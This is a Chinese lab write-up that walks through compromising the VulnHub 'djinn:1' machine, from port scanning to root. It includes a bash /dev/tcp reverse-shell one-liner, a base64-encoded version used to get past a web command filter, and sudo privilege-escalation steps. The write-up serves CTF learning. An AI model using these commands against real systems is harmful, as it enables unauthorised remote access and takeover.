djinn:1 靶场学习小记
一、测试环境:
kail攻击机:Get Kali | Kali Linux
靶场镜像:https://download.vulnhub.com/djinn/djinn.ova
描述: 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分别存在于 user.txt 和 root.txt 中的两个标志(user 和 root)。
二、测试过程
1、端口扫描
靶机开机给出目标地址,使用nmap进行端口扫描,tcp和udp都扫一下,多扫两边
扫描已找到的端口服务版本信息等
nmap漏洞脚本扫描端口服务,没什么有效信息
2、服务漏洞查找
a、FTP服务匿名访问
尝试允许匿名访问,下载文件
查看文件,creds.txt中有一个nitu:81299,账号密码?先保留。
game.txt文件中提到1337端口有一个游戏,通过最后一关会有奖品,保留信息。
message.txt文件中提到@nitish81299,后面没啥用,和第一个文件中有重复,没明白。
b、1337端口数字游戏
先看看1337端口是个数字游戏,需要回答1000次才能通过(实际回答了1001次),自己不会写,用AI写了个python脚本跑一下。
python脚本如下:
import telnetlib import re# 目标服务器的IP和端口 host = "192.168.229.151" port = 1337# 建立Telnet连接 tn = telnetlib.Telnet(host, port)# 用于匹配运算表达式的正则表达式 pattern = re.compile(r'\((\d+), \'([+\-*/])\', (\d+)\)')count = 0 while count < 1002:data = tn.read_until(b'>').decode('utf-8')print(data)match = pattern.search(data)if match:num1 = int(match.group(1))operator = match.group(2)num2 = int(match.group(3))result = Noneif operator == '+':result = num1 + num2elif operator == '-':result = num1 - num2elif operator == '*':result = num1 * num2elif operator == '/':result = num1 // num2tn.write(f"{result}\n".encode('utf-8'))count += 1tn.close()
跑完发现三个数组,可能是端口号,尝试telnet发现不同通,网上看贴子博主说是knock:
端口敲门是一种通过按照特定顺序向服务器的一系列端口发送连接请求(通常是 TCP 或 UDP 数据包)来触发某种动作(如开放特定隐藏服务端口、允许访问等)的技术。其目的在于增加服务器安全性,让服务对于未按特定敲门序列进行访问尝试的外部连接保持隐匿状态,只有知道正确敲门序列的客户端才能最终获得所需服务的访问权限。
那就使用kali自带的knock工具敲一下端口,然后telnet 22果然通了,目前没账号密码,爆破也没用,先放着
c、7331端口WEB服务
端口扫描看到7331端口为http,访问到一个界面,没找到什么有效信息
对网站目录扫描
dirsearch目录扫描,默认没扫出来,使用dirbuster字典扫到两个路径
dirsearch -u http://192.168.229.151:7331 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
3、获取低权限shell
访问/wish页面,看到一个类似可执行的输入框,尝试能否执行命令
查看源码,存在命令执行,且有回显,可以尝试反弹shell
生成一个反弹shell,写入对话框,kali机监听8080端口,web页面执行反弹shell,查看源码发现回显报错“Wrong choice of words”,提示单词错误,可能有过滤,使用base64编码测试成功
原反弹shell:
bash -i >& /dev/tcp/192.168.229.152/8080 0>&1
base64编码后,做解码的反弹shell:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNTIvODA4MCAwPiYx|base64 -d |bash
获取shell之后要做的第一件事是获取一个tty,因为在执行有些命令发现提示“su: must be run from a terminal”
python获取tty
python -c 'import pty;pty.spawn("/bin/bash")'
发现当前目录下有两个文件夹,三个文件,寻找有效信息,打开app.py发现是做了过滤操作,且有一个/home/nitish/.dev/creds.txt文件也被过滤,先留着
找到一个user.txt,但是权限不够,没看到root.txt,估计只有root权限才能看到
那就再看看/home/nitish/.dev/creds.txt文件
似乎是一组账户密码,直接su过去试试,可以登录
切换当前用户目录,查看第一个flag
4、权限提升
使用sudo -l查看,发现sam用户执行genie命令不需要密码
查看genie命令使用方法,-h查看用法不全,使用man命令查看说明
发现共有五个选项可使用,-p "/bin/sh"没用
-cmd选项可以直接进入sam用户权限
再次使用sudo -l 命令查看有一个/root/lago命令,sudo -u root /root/lago需要sam密码,sudo /root/lago可以使用,进入四个选项都没找到有效信息
无果后,使用find查找可写入文件
find / -writable -type f 2>/dev/null
发现一个python编译后的文件,导出反编译查看代码发现回答第二个问题时输入变量名num,将执行/bin/sh
反编译结果:
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7from getpass import getuser
from os import system
from random import randintdef naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'if __name__ == '__main__':
main(options())
再次使用sudo /root/lago,进入第二个问题,输入num进入root权限,使用find查找root.txt没找到,进入root目录下看到proof.sh可执行文件,查看或者执行拿到最后的flag
相关文章:

djinn:1 靶场学习小记
一、测试环境: kail攻击机:Get Kali | Kali Linux 靶场镜像:https://download.vulnhub.com/djinn/djinn.ova 描述: 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分…...

kafka消费者组和分区数之间的关系是怎样的?
消费者组和分区数之间的关系决定了Kafka中消息的消费方式和负载均衡。合理配置分区数和消费者数量对于优化Kafka的性能和资源利用率至关重要。以下是这种关系的几个关键点: 一个分区只能被同一组的一个消费者消费:这是为了保证消息的顺序性。在同一个消费…...

【go】查询某个依赖是否存在于这个代理
1. 使用 go list 命令 go list -m -versions github.com/gin-gonic/gin 如果模块存在,该命令会返回模块及其可用版本: github.com/gin-gonic/gin v1.7.0 v1.7.1 v1.8.0如果模块不存在或无法找到,会返回错误。 2. 使用 curl 查询代理服务 …...

如何从postman中导出所有集合Collection
项目场景: 有时候需要备份或迁移到其他平台,我们需要在postman中将这些集合数据导出。导出 Postman 集合是为了备份、团队共享或平台迁移等目的的重要步骤。此过程可分为导出单个集合和批量导出所有集合两部分,确保已保存和更新集合后&#x…...

在 Spring Boot 中实现多种方式登录(用户名、手机号、邮箱等)的不正经指南
欢迎来到一场技术与幽默交织的冒险!今天,我们将跳进 Spring Boot 的世界,探索如何通过 用户名、手机号、邮箱 等多种方式实现登录。想象一下,用户在登录时可以随心所欲地选择——就像你今天早上纠结到底是要喝美式咖啡还是拿铁&am…...

.NET平台用C#添加动作到PDF文档
使用C#语言在.NET框架下向PDF文档中添加动作,不仅能够提升文档的交互性和用户体验,还能够在自动化工作流中发挥关键作用,例如自动跳转至特定页面、链接外部资源或播放音频资源等操作。这种能力使得开发者能够根据具体需求定制PDF文档的互动操…...

大数据治理:概念、框架与实践应用
摘要: 随着大数据时代的到来,数据量呈爆炸式增长,数据来源和类型日益多样化。大数据治理作为确保数据质量、安全性、合规性以及有效利用数据资产的关键领域,已成为企业和组织在数字化转型过程中面临的重要挑战和机遇。本文深入探讨了大数据治理的概念,详细阐述了其涵盖的主…...

Vue.observable 全解析:Observable 是什么及使用场景剖析
Vue.observable 详解 Vue.observable 是 Vue 2.x 中的一个 API,用于将普通对象转化为响应式对象,类似于 Vue 组件中的 data 对象,可以实现数据的双向绑定。它允许你将任何普通对象转化为 Vue 响应式系统管理的对象,使得该对象的属性变化时能够自动触发视图更新。 什么是 …...

MySQL基础知识大总结
一,介绍 数据库是什么,我们在学习其他编程语言的时候会使用数组呀,链表,二叉树等等一些数据结构来存储我们的数据,但是大家有没有发现我们一旦关闭程序,所有的数据都没有了,这在发行的软件来看是…...

池化技术、Commons Pool介绍
概述 池化技术,一种通过重复利用对象实例而非频繁创建和销毁的技术。 常见的可池化对象: 数据库连接(Connection):数据库连接创建和销毁代价高,连接池广泛用于管理JDBC连接;线程(Thread):线程的创建和销…...

下载并安装Visual Studio 2017过程
一、下载 1、下载链接 下载链接:官方网址 先登录 往下滑找到较早的下载 2、进行搜索下载 或者直接点击🔗网站跳转 3、确认系统信息进行下载 二、安装 下载完成后右键使用管理员身份运行 1、点击同意后安装 2、若报错—设置失败 打开控制面板-&g…...

菊风视频能力平台开发服务正式入驻华为云云商店,成为华为云联营联运合作伙伴
日前,菊风视频能力平台开发服务正式入驻华为云云商店,成为华为云在实时音视频领域的联营联运合作伙伴。 菊风结合自身产品方案优势与华为云开放、共盈的生态优势强强联手,在推动金融行业数字化转型的路上又向前迈出了一大步。华为云云商店作为…...

springboot整合kafka
springboot整合kafka pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven…...

Python深度学习框架:PyTorch、Keras、Scikit-learn、TensorFlow如何使用?学会轻松玩转AI!
前言 我们先简单了解一下PyTorch、Keras、Scikit-learn和TensorFlow都是什么。 想象一下你要盖一座大房子。你需要砖头、水泥、工具等等,对吧?机器学习也是一样,需要一些工具来帮忙。PyTorch、Keras、Scikit-learn和TensorFlow就是四种不同的…...

【Linux】安装cuda
一、安装nvidia驱动 # 添加nvidia驱动ppa库 sudo add-apt-repository ppa:graphics-drivers/ppa sudo apt update# 查找推荐版本 sudo ubuntu-drivers devices# 安装推荐版本 sudo apt install nvidia-driver-560# 检验nvidia驱动是否安装 nvidia-smi 二、安装cudatoolkit&…...

为什么DDoS防御很贵?
分布式拒绝服务攻击(DDoS攻击)是一种常见的网络安全威胁,通过大量恶意流量使目标服务器无法提供正常服务。DDoS防御是一项复杂且昂贵的服务,本文将详细探讨为什么DDoS防御如此昂贵,并提供一些实用的代码示例和解决方案…...

将WPS的PPT 无损的用微软的PowerPoint打开
用WPS做了PPT,但是用用PowerPoint打开的时候,老是会有几张图错位。 解决方案:将wps做的PPT另存为PowerPoint的格式 参考博客:解决office的PPT和WPS的PPT不兼容的问题_office ppt和wps中代码不通用-CSDN博客 另存为的时候&#…...
【汇编】uniapp开发
UniApp是一款基于Vue.js构建的跨平台开发框架,可以用于快速开发同时运行在多个平台(包括iOS、Android、H5和小程序)的应用程序。UniApp的目标是提供一套代码即可在不同平台上运行的开发模式,从而节省开发者的时间和精力。本文将介…...

详解Oracle表的类型(二)
1.引言: Oracle数据库提供了多种表类型,以满足不同的数据存储和管理需求。本博文将对Oracle分区表及使用场景进行详细介绍。 2. 分区表 分区表是Oracle数据库中一种重要的表类型,它通过将表数据分割成多个逻辑部分来提高查询性能、管理灵活…...

Docker--通过Docker容器创建一个Web服务器
Web服务器 Web服务器,一般指网站服务器,是驻留于因特网上某种类型计算机的程序。 Web服务器可以向浏览器等Web客户端提供文档,也可以放置网站文件以供全世界浏览,或放置数据文件以供全世界下载。 Web服务器的主要功能是提供网上…...

Next.js-样式处理
#题引:我认为跟着官方文档学习不会走歪路 Next.js 支持多种为应用程序添加样式的方法,包括: CSS Modules:创建局部作用域的 CSS 类,避免命名冲突并提高可维护性。全局 CSS:使用简单,对于有传统…...

整合Springboot shiro jpa mysql 实现权限管理系统(附源码地址)
一、在开发企业级应用时,权限管理是一个至关重要的功能。本文将围绕 Spring Boot、JPA、MySQL 和 Apache Shiro,构建一个基础的权限管理系统,涵盖用户认证与授权等核心功能。 一、技术选型及框架介绍 Spring Boot:简化 Spring 应用的配置和开发。JPA:实现数据持久化,提供…...

极智嘉嵌入式面试题及参考答案
对于交叉编译器的理解 交叉编译器是一种在一个计算机平台上为另一个不同架构的计算机平台生成可执行代码的编译器。它在嵌入式系统开发中起着关键作用。 从其必要性来看,嵌入式系统通常使用的处理器架构与我们日常使用的 PC 等通用计算机不同,如 ARM、MI…...

【MySQL】数据库核心技术与应用指南
数据库的各种概念 1. 指一门学科《数据库原理与应用》。(研究如何设计实现一个数据库) 2. 指一类用来管理数据的软件。 3. 指某一个具体的数据库软件。 4. 指部署了某个数据库软件的电脑。 数据库软件 关系型数据库 1. 使用 “表” 的结构来组织数据。…...

23省赛区块链应用与维护(房屋租凭)
23省赛区块链应用与维护(房屋租凭) 背景描述 随着异地务工人员的增多,房屋租赁成为一个广阔市场。目前,现有技术中的房屋租赁是由房主发布租赁信息,租赁信息发布在房屋中介或租赁软件,租客获取租赁信息后,现场看房,并签订纸质的房屋租赁合同,房屋租赁费用通过中介或…...

深度学习4
一、手动构建模型 epoch 一次完整数据的训练过程(可细分多次训练),称为 一代训练 Batch 小部分样本对权重的更新,称为 一批数据 iteration 使用一个 Batch 的过程,称为 一次训练 步骤: 1、生成 x,y 的…...

跳绳视觉计数方案
产品概述 提供基于摄像头视觉技术的跳绳计数解决方案,可精准完成跳绳动作的实时计数,效果完全满足考试水平的要求。方案采用先进的计算机视觉算法,结合高效的模型架构,确保计数的准确性和稳定性。适用场景 学校体育考试ÿ…...

TEA加密逆向
IDA伪代码 do{if ( v15 )v17 v38; // x120x0->0x79168ba790, 输入字符串经过check1处理后字符串elsev17 v40;v18 (unsigned int *)&v17[v16]; // 0x78cbbd47fc add x12, x12, x8 ; x120x79168ba790->…...

LeetCode 404.左叶子之和
题目:给定二叉树的根节点 root ,返回所有左叶子之和。 思路:一个节点为「左叶子」节点,当且仅当它是某个节点的左子节点,并且它是一个叶子结点。因此我们可以考虑对整 node 时,如果它的左子节点是一个叶子…...

01-go入门
文章目录 Go语言学习1. 简介安装windows安装linux安装编译工具安装-goland 2. 入门2.1 Helloworld注释 2.2 变量初始化打印内存地址变量交换匿名变量作用域局部变量全局变量 2.3 常量iota 2.4 数据类型布尔整数浮点类型复数字符串定义字符串字符串拼接符定义多行字符串 map数据…...